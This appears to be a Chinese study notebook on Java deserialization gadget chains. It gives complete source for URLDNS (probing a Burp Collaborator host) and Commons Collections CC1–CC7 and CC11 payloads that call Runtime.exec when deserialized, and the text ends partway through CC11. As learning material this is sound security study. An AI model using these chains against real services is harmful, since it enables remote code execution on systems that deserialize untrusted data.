Java反序列化学习

参考:

https://www.yuque.com/tianxiadamutou/zcfd4v

https://github.com/phith0n/JavaThings

https://github.com/Y4tacker/JavaSec

https://github.com/3em0/studyNote

https://github.com/threedr3am/learnjavabug

https://boogipop.com/2023/03/02/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%A0%94%E7%A9%B6/

https://space.bilibili.com/2142877265/

基础知识

Java基础,重点是序列化、反序列化、反射、动态代理和类的加载等。

URLDNS

SerTest.java

package com.evo1.ser;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
// Person person = new Person("aa",22);
// System.out.println(person);
// serialize(person);
HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>();
URL url = new URL("http://2kniltiw1gy0mse6vrq3vdno9ff53u.burpcollaborator.net");
// 修改初始的hashCode,使得序列化时不会触发
Class c = url.getClass();
Field urlfield = c.getDeclaredField("hashCode");
urlfield.setAccessible(true);
urlfield.set(url,1234);
hashMap.put(url,1);
urlfield.set(url,-1);
serialize(hashMap);
}
}

UnserTest.java

package com.evo1.ser;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
// Person person = (Person) unserialize("ser.bin");
// System.out.println(person);
unserialize("ser.bin");
}
}

CC1

CC1链

maven配置要把依赖都加进来

<dependencies>
<!-- https://mvnrepository.com/artifact/junit/junit -->
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

想要能看到源码而不是class下载这个,注意源码地址导入是要在sourcepath

运行时,这一句出现该报错

Method execMethod = c.getMethod("exec", String.class);
//Incompatible types. Found: 'java.lang.reflect.Method', required: 'jdk.internal.org.objectweb.asm.commons.Method'

去看看前面导入的包是不是不对

//应该是
import java.lang.reflect.Method;
//但是导入的是
import jdk.internal.org.objectweb.asm.commons.Method;

TransformedMap版

package cn.evo1.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CC1_TransformedMap {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
// 1. 基本弹计算器
// Runtime.getRuntime().exec("calc");

// 2. 简单反射
// Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r,"calc");

// 3. 现在需要找一个地方来触发弹计算器,使用InvokerTransformer
// Runtime r = Runtime.getRuntime();
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

// 4. 现在只需要找一个地方也调用了transform方法,找一下发现可以用TransformedMap里的checkSetValue
// 然后找哪里会使用TransformedMap.checkSetValue,最后发现可以用MapEntry
// InvokerTransformer.transform<-TransformedMap.checkSetValue<-MapEntry.setValue
// Runtime r = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// HashMap<Object,Object> map = new HashMap<>();
// map.put("key","value");
// Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
// //通过遍历来触发
// for (Map.Entry entry:transformedMap.entrySet()){
// entry.setValue(r);
// }

// 5.找一个类里面使用了setValue,并且最好是直接在readObject里面,这样可以直接触发
// 发现AnnotationInvocationHandler里的readObject刚好满足要求,然后有几个小点要注意
// a.需要反射获取runtime(runtime本身是不可以序列化的)
// b.需要反射获取AnnotationInvocationHandler(因为不是public)
// c.满足readObject中的一些触发条件

// 基础版本反射获取runtime
// Class c = Runtime.class;
// Method getRuntimeMethod = c.getMethod("getRuntime",null);
// Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r,"calc");

// 修改为InvokerTransformer版本
// Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

// 使用ChainedTransformer实现链式调用
Transformer[] transformers = new Transformer[]{
// ConstantTransformer最后调用时需要,前面按流程写链子时可先不写
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class); //使用本语句时注释掉前面链子中的ConstantTransformer

// 转化下chainedTransformer
HashMap<Object,Object> map = new HashMap<>();
//需要满足readObject里面的!(memberType.isInstance(value),而Target里有的是value,因此要修改key为value
map.put("value","evo1");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

// 反射获取AnnotationInvocationHandler
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
// 这里不能用Override是因为readObject里面有个判断memberType != null
// Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transformedMap);
// 还有个!(memberType.isInstance(value)要满足(其实就是判断memberType和value这两个东西能不能强转)
// 而Target里有的是value,因此要修改前面map里的key
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);

// 到这里我们已经过掉了前面的所有判断,只面临最后一个问题,那就是传入的类是一个AnnotationTypeMismatchExceptionProxy
// 而我们需要的是一个Runtime.class,这时我们可以使用ConstantTransformer,它始终会返回我们传入的对像
// 所以只需要在最前面的链子处加一个ConstantTransformer即可

serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

有个点有疑问,在这一段

Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime",null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
Method execMethod = c.getMethod("exec",String.class);
execMethod.invoke(r,"calc");

发现invoke的第一个参数乱填都可以,原因在这里

8b6e2e040dd55234485a9c1cc9386144.png

而对应的方法确实是静态方法,所以第一个参数无所谓了

258976f994bd63e3c741a2786e6cdf61.png

LazyMap版

package cn.evo1.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.util.logging.Handler;

public class CC1_LazyMap {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
// 注解可以乱填,因为动态代理的invoke只需要在readObject种执行一个无参方法即可触发,不需要过后面的判断
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);
// 这里动态代理一个LazyMap可以实现readObject->invoke->get
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);

serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

jdk8u71中修复了AnnotationInvocationHandler类的里的readObject方法,所以CC1不能继续使用了

CC6

package cn.evo1.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
// 改成ConstantTransformer是为了防止put的时候就被使用
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"evo1");

HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"evo2");

// 序列化的时候需要这个key来过掉LazyMap.get中的map.containsKey(key) == false
// 但是序列化后这个key会被放进去,所以需要再去掉
lazyMap.remove("evo1");

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

serialize(map2);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

CC3

CC3Test.java

package cn.evo1.cc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3Test {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
// 1. 加载恶意类
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"evo1");

byte[] code = Files.readAllBytes(Paths.get("target/classes/cn/evo1/cc/Calc.class"));
byte[][] codes = {code};
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);

// 其实_tfactory在readObject中会被赋值
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();

// 2. ysoserial中的CC3,使用InstantiateTransformer和TrAXFilter
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
// ConstantTransformer最后调用时需要,前面按流程写链子时可先不写
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
// 注解可以乱填,因为动态代理的invoke只需要在readObject种执行一个无参方法即可触发,不需要过后面的判断
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);
// 这里动态代理一个LazyMap可以实现readObject->invoke->get
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);

serialize(o);
unserialize("ser.bin");


// 3. 直接套CC6(直接套CC1也可以)
// Transformer[] transformers = new Transformer[]{
// // ConstantTransformer最后调用时需要,前面按流程写链子时可先不写
// new ConstantTransformer(templates),
// new InvokerTransformer("newTransformer", null, null)
// };
// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//// chainedTransformer.transform(1);
// HashMap<Object,Object> map = new HashMap<>();
// Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
//
// TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"evo1");
//
// HashMap<Object,Object> map2 = new HashMap<>();
// map2.put(tiedMapEntry,"evo2");
// lazyMap.remove("evo1");
//
// Class c = LazyMap.class;
// Field factory = c.getDeclaredField("factory");
// factory.setAccessible(true);
// factory.set(lazyMap,chainedTransformer);
//
// serialize(map2);
// unserialize("ser.bin");

// CC1
// HashMap<Object,Object> map = new HashMap<>();
// Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
//
// Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
// annotationInvocationHandlerConstructor.setAccessible(true);
// // 注解可以乱填,因为动态代理的invoke只需要在readObject种执行一个无参方法即可触发,不需要过后面的判断
// InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);
// // 这里动态代理一个LazyMap可以实现readObject->invoke->get
// Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
// Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);
//
// serialize(o);
// unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

Calc.java

package cn.evo1.cc;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

// 在defineTransletClasses中要满足superClass.getName().equals(ABSTRACT_TRANSLET)
// 所以这里要继承下AbstractTranslet
public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

CC4

需要commons-collections4的依赖

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

Calc和加载恶意类与前面的一致

package cn.evo1.cc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4Test {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"evo1");

byte[] code = Files.readAllBytes(Paths.get("target/classes/cn/evo1/cc/Calc.class"));
byte[][] codes = {code};
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);

// Field tfactory = tc.getDeclaredField("_tfactory");
// tfactory.setAccessible(true);
// tfactory.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
// chainedTransformer.transform(1);

// 与前面的CC链相同,防止本地执行,先放进去个ConstantTransformer
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

// 这里是为了满足priorityQueue.heapify中的(size >>> 1),从而能够进入for循环
priorityQueue.add("evo1");
priorityQueue.add("evo2");

// 用反射放进去想用的chainedTransformer
Class c = transformingComparator.getClass();
Field transformer = c.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,chainedTransformer);

serialize(priorityQueue);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

CC2

没有用chainedtrainsform,而是直接用invokertransformer,避免了出现数组

package cn.evo1.cc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2Test {
public static void main(String[] args) throws IllegalAccessException, IOException, NoSuchFieldException, TransformerConfigurationException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"evo1");

byte[] code = Files.readAllBytes(Paths.get("target/classes/cn/evo1/cc/Calc.class"));
byte[][] codes = {code};
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);

Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);


priorityQueue.add(templates);
priorityQueue.add("evo1");

Class c = transformingComparator.getClass();
Field transformer = c.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,invokerTransformer);

serialize(priorityQueue);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

CC5

CC6很像,只是改成了使用TiedMapEntry.toString

package cn.evo1.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5Test {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
// 改成ConstantTransformer是为了防止put的时候就被使用
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"evo1");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("evo");

// 防止在BadAttributeValueExpException初始化的时候就调TiedMapEntry.toString
Class bc = badAttributeValueExpException.getClass();
Field val = bc.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);

// 序列化的时候需要这个key来过掉LazyMap.get中的map.containsKey(key) == false
// 但是序列化后这个key会被放进去,所以需要再去掉
lazyMap.remove("evo1");

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);

serialize(badAttributeValueExpException);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

CC7

package cn.evo1.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7Test {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 先传进来一个空的,防止在put里面的equals触发
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

HashMap<Object,Object> hashMap1 = new HashMap<>();
HashMap<Object,Object> hashMap2 = new HashMap<>();

// 在java中yy和zZ的hashCode是一样的
Map<Object,Object> lazyMap1 = LazyMap.decorate(hashMap1,chainedTransformer);
lazyMap1.put("yy", 1);
Map<Object,Object> lazyMap2 = LazyMap.decorate(hashMap2,chainedTransformer);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Class c = chainedTransformer.getClass();
Field iTransformers = c.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformers);

// LazyMap.get中会多生成一个yy
lazyMap2.remove("yy");
serialize(hashtable);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

CC11

CommonsCollections11 分析

添加下依赖

<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>

具体分析可以看上面的链接

package cn.evo1.cc;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;

public class CC11Test {
public static void main(String[] args) throws InstantiationException, IllegalAccessException, NoSuchFieldException, ClassNotFoundException, CannotCompileException, NotFoundException, IOException {
// 利用javasist动态创建恶意字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错

// 用我们前面的恶意类也可以
// byte[] classBytes = Files.readAllBytes(Paths.get("target/classes/cn/evo1/cc/Calc.class"));

// 写入.class 文件
// 将我的恶意类转成字节码,并且反射设置 bytecodes
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();

Field f0 = templates.getClass().getDeclaredField("_bytecodes");
f0.setAccessible(true);
f0.set(templates,targetByteCodes);

f0 = templates.getClass().getDeclaredField("_name");
f0.setAccessible(true);
f0.set(templates,"name");

f0 = templates.getClass().getDeclaredField("_class");
f0.setAccessible(true);
f0.set(templates,null);

InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
HashMap innermap = new HashMap();
LazyMap map = (LazyMap) LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
HashSet hashset = new HashSet(1);
hashset.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

f2.setAccessible(true);
Object[] array = (Object[])f2.get(hashset_map);

Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);

Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer,"newTransformer");

serialize(hashset);
